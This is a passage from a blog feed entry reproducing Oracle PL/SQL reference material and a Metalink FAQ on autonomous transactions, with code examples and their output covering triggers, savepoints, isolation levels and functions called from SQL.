&#8211; shadow table before each insert into the main table<br />
CREATE TRIGGER parts_trig<br />
BEFORE INSERT ON parts FOR EACH ROW<br />
DECLARE<br />
PRAGMA AUTONOMOUS_TRANSACTION;<br />
BEGIN<br />
INSERT INTO parts_log VALUES(:new.pnum, :new.pname);<br />
COMMIT;<br />
END;<br />
&#8211; insert a row into the main table, and then commit the insert<br />
INSERT INTO parts VALUES (1040, &#8216;Head Gasket&#8217;);<br />
COMMIT;<br />
&#8211; insert another row, but then roll back the insert<br />
INSERT INTO parts VALUES (2075, &#8216;Oil Pan&#8217;);<br />
Doing Independent Units of Work with Autonomous Transactions<br />
Performing SQL Operations from PL/SQL 6-39<br />
ROLLBACK;<br />
&#8211; show that only committed inserts add rows to the main table<br />
SELECT * FROM parts ORDER BY pnum;<br />
PNUM PNAME<br />
&#8212;&#8212;- &#8212;&#8212;&#8212;&#8212;&#8212;<br />
1040 Head Gasket<br />
&#8211; show that both committed and rolled-back inserts add rows<br />
&#8211; to the shadow table<br />
SELECT * FROM parts_log ORDER BY pnum;<br />
PNUM PNAME<br />
&#8212;&#8212;- &#8212;&#8212;&#8212;&#8212;&#8212;<br />
1040 Head Gasket<br />
2075 Oil Pan<br />
Unlike regular triggers, autonomous triggers can execute DDL statements using native<br />
dynamic SQL (discussed in Chapter 7, &#8220;Performing SQL Operations with Native<br />
Dynamic SQL&#8221;). In the following example, trigger bonus_trig drops a temporary<br />
database table after table bonus is updated:<br />
CREATE TRIGGER bonus_trig<br />
AFTER UPDATE ON bonus<br />
DECLARE<br />
PRAGMA AUTONOMOUS_TRANSACTION; &#8212; enables trigger to perform DDL<br />
BEGIN<br />
EXECUTE IMMEDIATE &#8216;DROP TABLE temp_bonus&#8217;;<br />
END;<br />
For more information about database triggers, see Oracle Database Application<br />
Developer&#8217;s Guide &#8211; Fundamentals.<br />
Calling Autonomous Functions from SQL<br />
A function called from SQL statements must obey certain rules meant to control side<br />
effects. (See &#8220;Controlling Side Effects of PL/SQL Subprograms&#8221; on page 8-22.) To check<br />
for violations of the rules, you can use the pragma RESTRICT_REFERENCES. The<br />
pragma asserts that a function does not read or write database tables or package<br />
variables. (For more information, See Oracle Database Application Developer&#8217;s Guide -<br />
Fundamentals.)<br />
However, by definition, autonomous routines never violate the rules &#8220;read no database<br />
state&#8221; (RNDS) and &#8220;write no database state&#8221; (WNDS) no matter what they do. This can be<br />
useful, as the example below shows. When you call the packaged function log_msg<br />
from a query, it inserts a message into database table debug_output without<br />
violating the rule &#8220;write no database state.&#8221;<br />
&#8211; create the debug table<br />
CREATE TABLE debug_output (msg VARCHAR2(200));<br />
&#8211; create the package spec<br />
CREATE PACKAGE debugging AS<br />
FUNCTION log_msg (msg VARCHAR2) RETURN VARCHAR2;<br />
PRAGMA RESTRICT_REFERENCES(log_msg, WNDS, RNDS);<br />
END debugging;<br />
&#8211; create the package body<br />
CREATE PACKAGE BODYq debugging AS<br />
FUNCTION log_msg (msg VARCHAR2) RETURN VARCHAR2 IS<br />
PRAGMA AUTONOMOUS_TRANSACTION;<br />
Doing Independent Units of Work with Autonomous Transactions<br />
6-40 PL/SQL User&#8217;s Guide and Reference<br />
BEGIN<br />
&#8211; the following insert does not violate the constraint<br />
&#8211; WNDS because this is an autonomous routine<br />
INSERT INTO debug_output VALUES (msg);<br />
COMMIT;<br />
RETURN msg;<br />
END;<br />
END debugging;<br />
&#8211; call the packaged function from a query<br />
DECLARE<br />
my_empno NUMBER(4);<br />
my_ename VARCHAR2(15);<br />
BEGIN<br />
&#8230;<br />
SELECT debugging.log_msg(ename) INTO my_ename FROM emp<br />
WHERE empno = my_empno;<br />
&#8211; even if you roll back in this scope, the insert<br />
&#8211; into &#8216;debug_output&#8217; remains committed because<br />
&#8211; it is part of an autonomous transaction<br />
IF &#8230; THEN<br />
ROLLBACK;<br />
END IF;<br />
END;</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-From Metalink&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p><font face="helvetica"></p>
<table border="0" cellpadding="0" cellspacing="6" width="80%">
<tr>
<td colspan="4" align="left"><b>Oracle 8.1.5 and higher : Autonomous Transactions</b></td>
</tr>
<tr>
<td></td>
<td align="right" valign="top"><a href="https://metalink.oracle.com/help/usaeng/Search/search.html#file">Doc ID</a>:</td>
<td align="left"><b>Note:65961.1</b></td>
<td align="right" valign="top">Type:</td>
<td align="left"><b>FAQ</b></td>
</tr>
<tr>
<td></td>
<td align="right" valign="top">Last Revision Date:</td>
<td align="left"><b>08-OCT-2007</b></td>
<td align="right" valign="top">Status:</td>
<td align="left"><b>PUBLISHED</b></td>
</tr>
</table>
<p></font></p>
<pre><font face="courier">
"Checked for relevance on 08-Oct-2007" 

Introduction
------------

Oracle Support analysts are often asked whether it is possible to
commit to a given savepoint in the same way that one may roll back to
a savepoint.  The question usually stems from a desire to be able to
have some operation take place independently of the current
transaction, for instance to allow error messages written to a table
to be committed, but to roll back everything else that has taken place
prior to the error. 

With Oracle8i we have not introduced "commit to savepoint" as such
but have provided the ability to temporarily suspend the current
transaction and begin another.  This second transaction is known as
an autonomous transaction and, as the name suggests, runs
independently of its parent.  The autonomous or child transaction can
commit or rollback as applicable with the execution of the parent
transaction being resumed upon its completion.  The parent may then
perform further operations and commit or rollback without affecting
the outcome of any operations performed within the child. 

Thus, the introduction of autonomous transactions allows users to
more easily develop modular, reusable components.  Calling
applications no longer need to be aware of what components do
internally and the components themselves need no knowledge of which
operations an application has performed prior to calling, making
this feature of particular interest to Cartridge Developers. 

In fact, Oracle already uses similar functionality internally, known as
recursive transactions, to handle the updating of system resources.
For example, when one application selects "nextval" from a non-cached
sequence, the value is immediately incremented in the database.  Thus,
a second application will always get the incremented value from the
sequence, regardless of whether the first application has committed or
rolled back. 

A.  Defining Autonomous Transactions
------------------------------------

In the current release of Oracle8i (8.1), autonomous transactions are
provided through PL/SQL only, though the intention is to extend the
capability to OCI in later releases.

A PL/SQL routine is marked as autonomous by placing the following
pragma (compiler directive) anywhere within its declare section:

	pragma AUTONOMOUS_TRANSACTION;

The pragma may appear in the declare section of any of the following:

(i)	top-level anonymous blocks
(ii)	local, standalone or packaged functions and procedures
(iii)   methods of object types
(iv)    database triggers

It may not appear:

(i)	outside of a declare section
(ii)    within the declare section of a nested block (i.e., a block
	within a block)
(iii)   in a package specification
(iv)    in a package body outside of a procedure or function
	definition
(v)     in a type body outside of a method definition

B. Transaction Control Flow
---------------------------

When a transaction is in progress, and a code unit declared as an
autonomous transaction is encountered, the following happens: 

(i)	The parent (or main) transaction remains active while any
statements specified in the declare section of the autonomous unit
are executed.  

Note that statements physically positioned after the pragma in the
declare section are run as part of the parent transaction, just as
exceptions generated in a declare section are always caught in the
calling routine's handler. 

(ii)	At the point that the first executable step after the begin
is reached, the parent transaction is suspended and a new one is
started. 

(iii) 	The code unit is executed as normal but with its transaction
context set to the new transaction. 

(iv)	If a commit or rollback is executed in the code unit, the
autonomous transaction is ended; the main transaction is still
suspended at this point.  If any further operations are performed
within the autonomous unit after this point, then a new transaction is
started. 

(v)	As the code unit exits and control returns to the parent, the
main transaction is resumed and the transaction context is switched
back to the parent.

Nesting Autonomous Transactions
--------------------------------

Autonomous transactions may be nested.  If an autonomous transaction
is already in progress when another is encountered, then the current
one is suspended and a new one started.  The limit on the number of
suspended transactions is governed by the initialization parameter
"transactions". 

C. Scope and Visibility
-----------------------

Variables
---------

Just like any other code units, those declared as autonomous
transactions have the same scoping rules for accessing global and
local variables.  If variables are in the scope of both the parent and
the child, then any values set in the parent are visible to the
child since variables are not controlled by the transaction context.
Similarly, if a child updates a variable in the parent's scope, then
the parent sees that change when its execution resumes.

Session Parameters
------------------

Session parameters are also not affected by transaction context.
Therefore, an alter session performed during the parent transaction is
applicable to the child transaction and vice versa.

Database Changes
----------------

As all database changes are part of a transaction, if a parent has
modified data, but not committed it at the point the autonomous
transaction begins, then those modifications are not visible to
the child.  Whether changes committed as part of a completed child
transaction are visible to the parent or not depends upon the
isolation level of the parent.  See "Transaction Control Commands"
below. 

Locks
-----

Because the parent and child transactions are independent, they
also are not be able to share any locks; if a parent transaction has a
resource locked that a child attempts to obtain, then a deadlock
situation occurs.  In this case, the offending statement is
automatically rolled back with an "ORA-00060: deadlock detected while
waiting for resource" exception raised within the child. 

Examples
--------

Assume the following has been run:

	create table msg (msg varchar2(120));

1.  First, some PL/SQL code that does not use autonomous transactions: 

declare
   var1 number := 0;	--} Global variables
   cnt  number := -1;   --}

   procedure local is
   begin
      if cnt = -1 then
         dbms_output.put_line('var1 in local is '||var1);
         var1 := var1*10;
      end if;

      select count(*) into cnt from msg;
      dbms_output.put_line('local: # of rows is '||cnt);

      insert into msg values ('New Record');
      commit;
   end;

   begin
      var1 := 2;
      insert into msg values ('Row 1');
      local;
      dbms_output.put_line('var1 in main is '||var1);
      select count(*) into cnt from msg;
      dbms_output.put_line('main: # of rows is '||cnt);
      rollback;

      local;
      insert into msg values ('Row 2');
      commit;

      local;
      select count(*) into cnt from msg;
      dbms_output.put_line('main: # of rows is '||cnt);
   end;

Running this results in:

var1 in local is 2	-&gt; var1 is visible in local
local: # of rows is 1	-&gt; local can see the uncommitted row
var1 in main is 20      -&gt; new value of var1 is visible in main block
main: # of rows is 2	-&gt; main block sees new row; both are committed
local: # of rows is 2	-&gt; rollback has no effect
local: # of rows is 4   -&gt; local can see rows added in main block and
			   from its previous execution
main: # of rows is 5    -&gt; main sees all rows

Running the same block but with the local procedure declared as
an autonomous transaction as follows:

   ...
   procedure local is
      pragma AUTONOMOUS_TRANSACTION;
   begin
   ...

results in:

var1 in local is 2	-&gt; var1 is visible in local
local: # of rows is 0	-&gt; local cannot see the uncommitted row
			   inserted in the main block
var1 in main is 20	-&gt; new value of var1 is visible in main block
main: # of rows is 2	-&gt; main block sees new row also; only one row
			   is committed
local: # of rows is 1	-&gt; local sees the row it inserted last time;
			   row inserted in main block is rolled back
local: # of rows is 3   -&gt; local sees its rows plus the one committed
			   in the main block
main: # of rows is 4	-&gt; main sees all rows

2.  This example demonstrates how statements executed in the declare
section are run in the scope of the parent.  With the following
function created: 

create or replace function cntmsg return number as
   cnt number := 0;
begin
   select count(*) into cnt from msg;
   return cnt;
end;

running:

insert into msg values ('Hello');

declare
   pragma AUTONOMOUS_TRANSACTION;
   x number := cntmsg;
begin
   dbms_output.put_line('Number rows = '||x);
   x := cntmsg;
   dbms_output.put_line('Number rows = '||x);
   rollback;
end;

commit;

results in:

Number rows = 1		-&gt; function called in the declare section sees
			   the row inserted in the parent transaction
Number rows = 0		-&gt; function called in the body is unable to
			   see the row 

with 1 row inserted into the table.

D. Transaction Control
----------------------

Exiting an Autonomous Transaction
---------------------------------

As soon as an autonomous code unit has made any database changes,
locked resources or issued transaction control statements such as set
transaction or savepoint, the transaction is said to be
active.  This means that the unit must either explicitly issue a
commit or a full rollback before exiting back to the parent
transaction, or perform an implied commit by issuing a DDL (Data
Definition Language) statement.  

It is not sufficient to simply roll back to a savepoint, even if doing
so would leave no outstanding database locks or changes.  If no commit
or rollback is done before exiting, then at the point of executing the
"return" or "end" statement, the whole autonomous transaction is rolled
back with the following error raised in the child: 

   ORA-06519: active autonomous transaction detected and rolled back

If the code unit does not currently have an active transaction in
progress, then it may successfully exit without issuing a commit or
rollback. 

Error Handling
--------------

If an autonomous code unit exits in error with an active transaction
in progress, then that transaction is automatically rolled back. 

For example, consider that the following function fails upon
execution: 

create or replace procedure atx_fail as
    pragma AUTONOMOUS_TRANSACTION;
    x number;
begin
    insert into msg values ('Hello');
    x := 'AAA';  -- will generate invalid number error
    commit;
end;

Running:

begin
    insert into msg values ('Bye');
    atx_fail;
exception
    when others then
        commit;
end;

results in only the row containing "Bye" being written to the
table.  If atx_fail was not an autonomous transaction, then the above
example results in both rows being inserted.  Similarly, if the
autonomous procedure handled the error itself, committed and exited
successfully back to the parent, then again, both rows are present
in the table upon completion.

Transaction Control Commands
----------------------------

(i)	Savepoints

Savepoint and rollback to savepoint commands may be issued within
autonomous transactions.  As an autonomous transaction is independent
of the parent transaction context, it is not possible for the child
to roll back to a savepoint in the parent.  This also means that the
same savepoint names may be used in both the parent and the child
transactions. 

For example, running:

savepoint A;

insert into msg values ('aaa');

declare
   pragma AUTONOMOUS_TRANSACTION;
   cnt number;
begin
   insert into msg values ('bbb');
   savepoint A;
   insert into msg values ('ccc');
   rollback to savepoint A;
   insert into msg values ('ddd');
   commit;
end;

results in three rows, "aaa", "bbb" and "ddd", in the table.

Issuing:

rollback to savepoint A;

causes row "aaa" to be rolled back.

(ii)	Set Transaction and Isolation Level

Set transaction commands may be issued within autonomous transactions
with the same effect as in regular transactions.  Setting the
isolation level within a parent transaction governs whether or
not the parent is able to see changes made by the child.  

By default, the isolation level is set to "read committed".  Thus, if a
child transaction (or separate session) commits changes, the parent
is able to query back those changes immediately.  By setting
isolation level to "serializable" in the parent, changes
committed prior to the set transaction command are visible to the
parent, thus, providing a read consistent snapshot at that point in time. 

Set transaction commands issued in the parent apply only to that
transaction.  Thus, a parent may issue a "set transaction read only"
statement and then invoke a child transaction to perform updates. 

E. Invoking Autonomous Transactions via SQL
-------------------------------------------

As a result of issuing SQL, an autonomous transaction can be invoked
in one of three ways: 

(i)	a trigger fires as part of an update, insert or delete
(ii)	a stored function is called from a DML (Data Manipulation
	Language) statement
(iii)	a method is called directly from a DML statement on an object
	column or table, or invoked implicitly as a map or order
	method 

Triggers
--------

A trigger itself may be declared as an autonomous transaction.  For
example:

create or replace trigger trig1 after insert on tab1 for each row
declare
   pragma AUTONOMOUS_TRANSACTION;
   ...
begin
   ...
end;

or may invoke a procedure or function that is itself autonomous.
This means that as a result of an insert into one table, updates
may be performed on other tables and the changes saved regardless of
the final outcome of the insert.  

It also means that it is possible to access the triggering table without
getting a "mutating table" error when the triggering operation performed
affects multiple rows.  (In the past, if an operation affected more than
one row, then any triggers firing at row level within the same transaction
were not permitted to query the table that caused the trigger to fire in
the first place.) 

It is important to remember that if a trigger is running as an
autonomous transaction, although it still has access to
:OLD and :NEW values as appropriate, it does not see any rows
inserted into the table by the calling transaction.  Thus, using an
autonomous trigger to obtain the maximum value currently in the
table, in order to set a primary key column, is unlikely to work.
Using an autonomous trigger to maintain an audit trail of data
changes is possible though. 

Functions and Methods
---------------------

Functions and type methods may be used within SQL statements directly,
provided they are shown to have a certain level of purity.  The purity
required in this case is a guarantee not to write to the database.
Any code run as part of an autonomous transaction is always deemed
not to read from or write to the database, regardless of which
operations it performs.  This means a query can now call a routine
that may update, insert, or delete data as required. 

Examples
--------

1.  The following is a somewhat dangerous example:

create or replace package p as
   function delmsg (p1 in varchar2) return number;
   -- A full purity level is permitted because WNDS and RNDS
   -- are implicit by the fact that the function is declared
   -- as autonomous.  Thus the compiler only needs to check
   -- operations performed in the declare section plus ensure
   -- the body of the function touches no package variables.
   --
   --   WNDS = writes no database state
   --   RNDS = reads no database state
   --   WNPS = writes no package state
   --   RNPS = reads no package state
   --
   pragma restrict_references(delmsg,WNDS,RNDS,WNPS,RNPS);
end;

create or replace package body p as
   function delmsg (p1 in varchar2) return number as
      pragma AUTONOMOUS_TRANSACTION;
   begin
      delete from msg where msg = p1;
      commit;
      return 1;
   end;
end;

insert into msg values ('Hello');
insert into msg values ('Bye');
commit;

select msg, delmsg(msg) ret from msg;

Although rows are returned, they are deleted at the same time leaving the
table empty.

2.  This example defines a method that calculates a person's current
age and then updates the table accordingly if their age in the
database is not correct: 

create or replace type peops as object (
   name varchar2(50),
   dob  date,
   age  number,
   member function get_age return number,
   pragma restrict_references(get_age,WNDS,RNDS,WNPS,RNPS)
);

create table peops_tab of peops;

create or replace type body peops as
   member function get_age return number is
      pragma AUTONOMOUS_TRANSACTION;
      lage number := 0;
   begin
      lage := trunc( (sysdate-self.dob)/365 );
      if lage != nvl(age,0) then
          update peops_tab set age = lage where name = self.name;
          commit;
      end if;
      return lage;
   end;
end;

insert into peops_tab values
   ('Sharon',to_date('08/04/66','dd/mm/rr'),30);
insert into peops_tab values
   ('George',to_date('10/01/72','dd/mm/rr'),null);
insert into peops_tab values
   ('Fred',to_date('17/03/84','dd/mm/rr'),14);
commit;

select p.get_age() from peops_tab p;

This results in the correct ages being returned and also written to the
table.

F. Distributed Transactions
---------------------------

Autonomous transactions are not currently supported as part of distributed
transactions.

G. Autonomous Transactions and 3GLs
-----------------------------------

Autonomous transactions may be invoked from 3GLs such as PRO*C and
OCI in the same way they may be invoked from say SQL*Plus, i.e., by: 

(i)	calling stored program units declared as autonomous
(ii)	executing SQL that results is an autonomous trigger, function
	or method firing
(iii)	executing locally declared autonomous PL/SQL blocks.  For
	example from PRO*C:

	EXEC SQL EXECUTE DECLARE
			    PRAGMA AUTONOMOUS_TRANSACTION;
			 BEGIN
			    ...
			 END;
	         END-EXEC;

H. Miscellaneous Examples
------------------------------

This section looks at some further examples.

1.  This example demonstrates sharing a cursor between a parent and child
transaction.  Note that although the parent has not committed its inserts,
the rows are still visible within the autonomous transaction since it is
fetching the data via a cursor opened by the parent: 

create table msg (msg varchar2(120));
insert into msg values ('Row 1');
insert into msg values ('Row 2');
insert into msg values ('Row 3');
insert into msg values ('Row 4');

set serveroutput on

declare
   cursor c1 is select * from msg;
   ret varchar2(20);

   procedure local is
      pragma AUTONOMOUS_TRANSACTION;
   begin
      fetch c1 into ret;
      dbms_output.put_line(ret);
      insert into msg values ('Row n');
      commit;
   end;

begin
   open c1;
   fetch c1 into ret;
   dbms_output.put_line(ret);
   local;
   fetch c1 into ret;
   dbms_output.put_line(ret);
   local;
   close c1;
end;

gives:

Row 1
Row 2
Row 3
Row 4

with 6 rows currently present in the table.

2.  This example shows how a LOB locator can be passed from a parent
transaction to an autonomous one without losing its context.  By
passing the locator as a parameter, the parent allows the child
access to uncommitted data; that same data is not visible when
selected from the table directly within the child: 

create table test_lobs (c1 number,c2 clob);
create table msg (msg varchar2(120));

create or replace function getlen (p1 in clob,
				   p2 in number) return number as
    pragma AUTONOMOUS_TRANSACTION;
    len  number;
    buf  varchar2(120);
    tlen number;
begin
    len := dbms_lob.getlength(p1);
    if len != 0 then
       dbms_lob.read(p1,len,1,buf);
       dbms_output.put_line('Value: '||buf);
       insert into msg values (buf);
       commit;
    end if;

    select dbms_lob.getlength(c2) into tlen
    from   test_lobs where c1=p2;

    dbms_output.put_line('Length selected from table is '||tlen);
    return len;
end;

insert into test_lobs values (1,'Hello');
insert into test_lobs values (2,'The quick brown fox');
commit;

declare
    cl1 clob;
    cl2 clob;
    ret number;
begin
    select c2 into cl1 from test_lobs where c1 = 1 for update;
    select c2 into cl2 from test_lobs where c1 = 2;
    ret := getlen(cl1,1);
    dbms_output.put_line('Length of first row is '||ret);
    ret := getlen(cl2,2);
    dbms_output.put_line('Length of second row is '||ret);
    dbms_lob.writeappend(cl1,6,' there');
    ret := getlen(cl1,1);
    dbms_output.put_line('Length of first row is now '||ret);
end;

gives:

Value: Hello
Length selected from table is 5
Length of first row is 5
Value: The quick brown fox
Length selected from table is 19
Length of second row is 19
Value: Hello there
Length selected from table is 5
Length of first row is now 11

Selecting from the msg table gives three rows as follows:

Hello
The quick brown fox
Hello there

References
----------
PL/SQL User's Guide and Reference, Interaction with Oracle

Application Developer's Guide - Fundamentals, Processing SQL Statements

</font></pre>
<img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/haind.wordpress.com/9/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/haind.wordpress.com/9/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/haind.wordpress.com/9/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/haind.wordpress.com/9/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/haind.wordpress.com/9/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/haind.wordpress.com/9/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/haind.wordpress.com/9/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/haind.wordpress.com/9/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/haind.wordpress.com/9/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/haind.wordpress.com/9/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/haind.wordpress.com/9/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/haind.wordpress.com/9/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=haind.wordpress.com&blog=1241165&post=9&subd=haind&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://haind.wordpress.com/2008/04/02/autonomous-transaction/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/eddd584c364dfd0b4f3151a586008358?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">haind</media:title>
		</media:content>

		<media:content url="http://www.expertsharing.com/wp-content/uploads/2008/03/autonomous-transaction1.PNG" medium="image">
			<media:title type="html">autonomous-transaction1.PNG</media:title>
		</media:content>

		<media:content url="http://www.expertsharing.com/wp-content/uploads/2008/03/autonomous_transction1.JPG" medium="image">
			<media:title type="html">autonomous_transction1.JPG</media:title>
		</media:content>
	</item>
	</channel>
</rss>